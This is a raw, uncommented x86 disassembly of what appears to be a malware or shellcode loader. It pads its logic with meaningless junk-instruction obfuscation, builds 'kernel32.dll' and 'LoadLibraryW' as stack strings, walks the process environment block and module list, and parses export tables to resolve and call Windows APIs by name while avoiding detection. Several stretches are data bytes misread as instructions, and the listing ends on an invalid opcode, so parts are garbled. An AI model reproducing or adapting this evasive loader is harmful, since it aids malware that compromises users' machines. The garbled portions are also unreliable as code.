sub eax, 0x126fc
and eax, 0xa334
xor eax, 0x1202
pop eax
push ecx
add ecx, 0x790
sub ecx, 0x233f
jmp 0x419ec8
sub ecx, 0xb4f1
pop ecx
cmp dword [ebp - 0xc4c], 0
jne 0x419ee7
mov dword [ebp - 0x2a8], 0
jmp 0x41a132
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push eax
and eax, 0x16166
or eax, 0x880a
and eax, 0x13fe8
or eax, 0xc7b5
pop eax
push ecx
push esi
add esp, 4
sub ecx, 0x4918
xor ecx, 0xac3
and ecx, 0x8c9
pop ecx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
add edi, 0x14c1a
and edi, 0x103f0
add edi, 0xd57a
xor edi, 0x13c40
pop edi
push esi
push ebx
add esp, 4
add esi, 0xa47f
add esi, 0x17af9
or esi, 0x17ede
pop esi
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push ebx
jmp 0x419fdf
pop ebx
push ecx
xor ecx, 0x16f16
call 0x419ff4
add byte [eax + 0x40], al
dec eax
inc eax
dec eax
dec edi
inc ebp
add esp, 4
pop ecx
push eax
push ecx
add esp, 4
and eax, 0x15c45
sub eax, 0x1264e
pop eax
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x41a027
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x41a081
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x419f4f
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x419f4f
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x41a06b
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x41a075
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x41a0ca
push ecx
push esi
add esp, 4
add ecx, 0xa424
pop ecx
push ecx
xor ecx, 0x794
xor ecx, 0x2847
call 0x41a0b1
add byte [edx + 0x4e], cl
dec esp
inc ebx
cmp al, 0x3d
dec ecx
cmp eax, dword [ebx + 0x5eb04c4]
xor eax, 0x484a3637
pop ecx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x41a132
push ebx
push ecx
add esp, 4
or ebx, 0x11f23
and ebx, 0x11f41
or ebx, 0x4b68
xor ebx, 0x22a2
pop ebx
push edx
and edx, 0x16339
sub edx, 0x16528
xor edx, 0x15d97
pop edx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x41a128
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x419ef3
mov dword [ebp - 0x2a8], 0
push edx
push esi
add esp, 4
sub edx, 0x85e8
and edx, 0x116c2
pop edx
push edx
push edi
add esp, 4
xor edx, 0x15b7e
pop edx
push ecx
and ecx, 0xa817
pop ecx
push ecx
push eax
add esp, 4
sub ecx, 0x11d3a
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x41aa69
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ebx
jmp 0x41a212
or ebx, 0x17cc0
jmp 0x41a221
sub ebx, 0x86a1
pop ebx
push ebx
and ebx, 0xc6b6
add ebx, 0xabd6
sub ebx, 0x12901
pop ebx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edx
push edi
add esp, 4
add edx, 0xb6f3
or edx, 0x3208
add edx, 0xd837
pop edx
push eax
or eax, 0x1751b
xor eax, 0xf411
xor eax, 0x2de4
add eax, 0x14fdf
pop eax
cmp dword [ebp - 0x1518], 0
jne 0x41a309
mov dword [ebp - 0x710], 0
jmp 0x41a5b0
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edi
and edi, 0x15af3
sub edi, 0x1338d
call 0x41a338
add byte [eax + 0x4f], al
xor ecx, dword [ecx + 0x39]
inc esp
inc edi
dec esp
cmp eax, 0x4c48344
add edi, 0xbb08
pop edi
push ecx
push edx
add esp, 4
jmp 0x41a34c
pop ecx
cmp dword [ebp - 0xc58], 0
jne 0x41a365
mov dword [ebp - 0x710], 0
jmp 0x41a5b0
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
push esi
add esp, 4
or esi, 0x446c
sub esi, 0xe2
pop esi
push esi
add esi, 0xd022
xor esi, 0x465a
pop esi
push edi
push edi
add esp, 4
or edi, 0x17863
add edi, 0xfff3
pop edi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
push esi
add esp, 4
and esi, 0xe694
add esi, 0x3d0e
and esi, 0xb85
pop esi
push ebx
or ebx, 0x18666
sub ebx, 0x1595b
or ebx, 0xcd8a
sub ebx, 0x4f09
pop ebx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push eax
push edi
add esp, 4
jmp 0x41a463
sub eax, 0x81f6
pop eax
push edi
push edx
add esp, 4
xor edi, 0x7a28
add edi, 0x15579
and edi, 0x7a1e
and edi, 0x1471e
pop edi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x41a4a5
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x41a4ff
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x41a3cd
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x41a3cd
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x41a4e9
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x41a4f3
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x41a548
push edi
add edi, 0x2af5
pop edi
push esi
push ebx
add esp, 4
or esi, 0x12507
pop esi
push edx
add edx, 0x16c0
pop edx
push edi
xor edi, 0x5bba
pop edi
push edx
and edx, 0x12bb1
add edx, 0x1722d
pop edx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x41a5b0
push esi
call 0x41a557
add byte [ebp + 0x42], cl
xor al, 0x48
inc ecx
cmp ecx, dword [edx + 0x4f]
add esp, 4
jmp 0x41a55f
pop esi
push edi
and edi, 0x772c
sub edi, 0x1678b
or edi, 0x5bb1
xor edi, 0x2a57
pop edi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x41a5a6
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x41a371
mov dword [ebp - 0x710], 0
push eax
push ecx
add esp, 4
and eax, 0x125fa
pop eax
push edx
or edx, 0x13ed9
or edx, 0xa4b0
pop edx
push ecx
push esi
add esp, 4
and ecx, 0x157d
and ecx, 0x5f56
xor ecx, 0x12849
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x41a62c
push edx
push edi
add esp, 4
add edx, 0xf0f
pop edx
push esi
push eax
add esp, 4
jmp 0x41a604
pop esi
push edx
sub edx, 0x11b0f
call 0x41a619
add byte [ebx], bh
inc ecx
aaa
xor al, 0x39
dec edi
cmp eax, dword [ebx - 0x38a5fb3c]
test dword [eax + 0xfffff5], ebp
add byte [eax], al
add cl, ch
sub byte [ebx], cl
add byte [eax], al
push eax
push edx
add esp, 4
jmp 0x41a638
pop eax
push eax
call 0x41a649
add byte [eax + 0x3e], cl
cmp eax, 0x3a4d3b3e
cmp dh, byte [esi]
add esp, 4
call 0x41a65a
add byte [edi + 0x43], al
cmp byte ds:[edx + 0x41], al
cmp dword [ebx + eax*4 - 0x3c], ecx
add al, 0x58
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x41a69d
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x41a98e
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x41a6c5
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x41a98e
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x41a6f7
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x41a98e
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x41a71c
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x41a98e
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x41a776
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x41a982
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x41a7e6
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x41a898
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x41a898
push edi
push edx
add esp, 4
call 0x41a826
add byte [edi], bh
xor cl, byte [ebx + 0x4e]
push eax
cmp cl, byte ss:[ebx - 0x7d]
les eax, [edi + ebx*2]
push edi
push ecx
add esp, 4
and edi, 0x5681
pop edi
push ecx
jmp 0x41a83e
and ecx, 0x3508
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x41a88a
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x41a891
jmp 0x41a7d7
jmp 0x41a898
push eax
add eax, 0x17ed9
sub eax, 0x15bf7
pop eax
push edi
push ecx
add esp, 4
and edi, 0x2678
call 0x41a8c0
add byte [edi], dh
inc ebx
inc esp
xor esi, dword ss:[edx]
inc edx
xor al, 0x83
les eax, [ecx + eax*4]
mul dword [edx + 0x79]
add dword [eax], eax
pop edi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x41a8f7
mov dword [ebp - 0xc5c], 0
jmp 0x41a966
push esi
push ecx
add esp, 4
sub esi, 0x3a3a
pop esi
push ebx
or ebx, 0x3e83
call 0x41a918
add byte [eax + 0x41], dl
dec esp
inc ebp
dec eax
aaa
dec ebp
dec ebp
add esp, 4
jmp 0x41a922
add ebx, 0x177d
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x41a95c
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x41a966
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x41a97d
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x41a98e
jmp 0x41a767
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x41aa69
push edx
push edi
add esp, 4
or edx, 0x2373
jmp 0x41a9af
sub edx, 0x4b9
pop edx
push edx
push eax
add esp, 4
jmp 0x41a9c0
add edx, 0x10c76
add edx, 0xb5bb
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push esi
xor esi, 0xd05
pop esi
push ecx
push edx
add esp, 4
xor ecx, 0x1842d
and ecx, 0xb4a2
and ecx, 0x247f
call 0x41aa07
add byte [0x49454e4a], bh
cmp byte [edx], dh
xor al, byte [edx - 0x7d]
les eax, [ecx + ebx*2]
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x41aa69
push ebx
or ebx, 0x16443
and ebx, 0x6fe0
xor ebx, 0xe97d
pop ebx
push esi
sub esi, 0x2de0
pop esi
push ebx
xor ebx, 0x8372
jmp 0x41aa53
add ebx, 0x1244e
pop ebx
mov dword [ebp - 0xa58], 0
jmp 0x41b154
push ebx
add ebx, 0x65dd
sub ebx, 0x14539
and ebx, 0xd01c
pop ebx
push eax
push esi
add esp, 4
sub eax, 0xc81d
and eax, 0xe9c0
xor eax, 0x5bf2
jmp 0x41aa9a
pop eax
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edi
call 0x41aad3
add byte [eax], bh
cmp ecx, dword [ebp + 0x47]
cmp byte [0x833e3a42], bh
les eax, [ecx + eax*4]
out 0xe4, eax
stosd dword es:[edi], eax
add byte [eax], al
pop edi
push esi
add esi, 0x12950
jmp 0x41aaec
pop esi
push ebx
sub ebx, 0x6bba
pop ebx
cmp dword [ebp - 0x1574], 0
jne 0x41ab0d
mov dword [ebp - 0x2a8], 0
jmp 0x41adb4
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edx
push esi
add esp, 4
add edx, 0x11dfe
or edx, 0x160b5
pop edx
push ecx
or ecx, 0x616c
pop ecx
push esi
push esi
add esp, 4
sub esi, 0xb49d
and esi, 0x8309
xor esi, 0xaed3
pop esi
cmp dword [ebp - 0xc68], 0
jne 0x41ab69
mov dword [ebp - 0x2a8], 0
jmp 0x41adb4
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push esi
sub esi, 0x10966
call 0x41ab8b
add byte [edi + 0x3b], cl
dec ebp
dec ebp
push eax
dec ecx
cmp dword [edi + edi], edi
add esp, 4
call 0x41ab9e
add byte [eax + 0x3f], al
dec edx
dec ebp
dec edi
inc ebx
cmp eax, dword [eax + 0x35]
inc edi
add esp, 4
jmp 0x41aba6
pop esi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edx
push ecx
add esp, 4
or edx, 0x544e
and edx, 0x11268
xor edx, 0x130c8
xor edx, 0xe928
pop edx
push ebx
push ecx
add esp, 4
and ebx, 0x58c5
pop ebx
push eax
and eax, 0xedb0
pop eax
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push edx
push eax
add esp, 4
or edx, 0x13238
or edx, 0x4a50
add edx, 0xc03d
sub edx, 0x1c91
pop edx
push edx
xor edx, 0x1c3
add edx, 0x14886
or edx, 0x13b15
pop edx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x41aca9
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x41ad03
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x41abd1
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x41abd1
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x41aced
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x41acf7
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x41ad4c
push edx
or edx, 0xabe0
sub edx, 0xdb73
add edx, 0x2899
pop edx
push edx
push esi
add esp, 4
and edx, 0x1fd8
or edx, 0x5007
add edx, 0xd286
sub edx, 0x1613f
pop edx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x41adb4
push ecx
add ecx, 0x11db
call 0x41ad5f
add byte [ecx + 0x3f], cl
dec ebp
inc edx
push eax
xor eax, 0x5904c483
push ecx
sub ecx, 0xcfa2
sub ecx, 0x28be
xor ecx, 0xfc29
jmp 0x41ad7d
pop ecx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x41adaa
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x41ab75
mov dword [ebp - 0x2a8], 0
push ecx
sub ecx, 0x15a6c
pop ecx
push edx
push eax
add esp, 4
sub edx, 0x86de
call 0x41add7
add byte [ecx], bh
dec edx
cmp eax, 0x3e393d48
dec ebx
inc ebp
dec ecx
add esp, 4
sub edx, 0x81bd
jmp 0x41ade5
pop edx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push ebx
push esi
add esp, 4
add ebx, 0x17a32
xor ebx, 0xbb48
sub ebx, 0x2aa6
pop ebx
push edi
jmp 0x41ae13
xor edi, 0x53f8
sub edi, 0x9638
jmp 0x41ae26
pop edi
mov dword [ebp - 0x730], 0
add byte [ebx - 0x3037b], cl
dec dword [ecx - 0x157f7b]
inc dword [ebx - 0x157f43]
inc dword [eax]
jne 0x41ae57
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x41b148
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x41ae7f
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x41b148
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x41aeb1
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x41b148
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x41aed6
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x41b148
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
invalid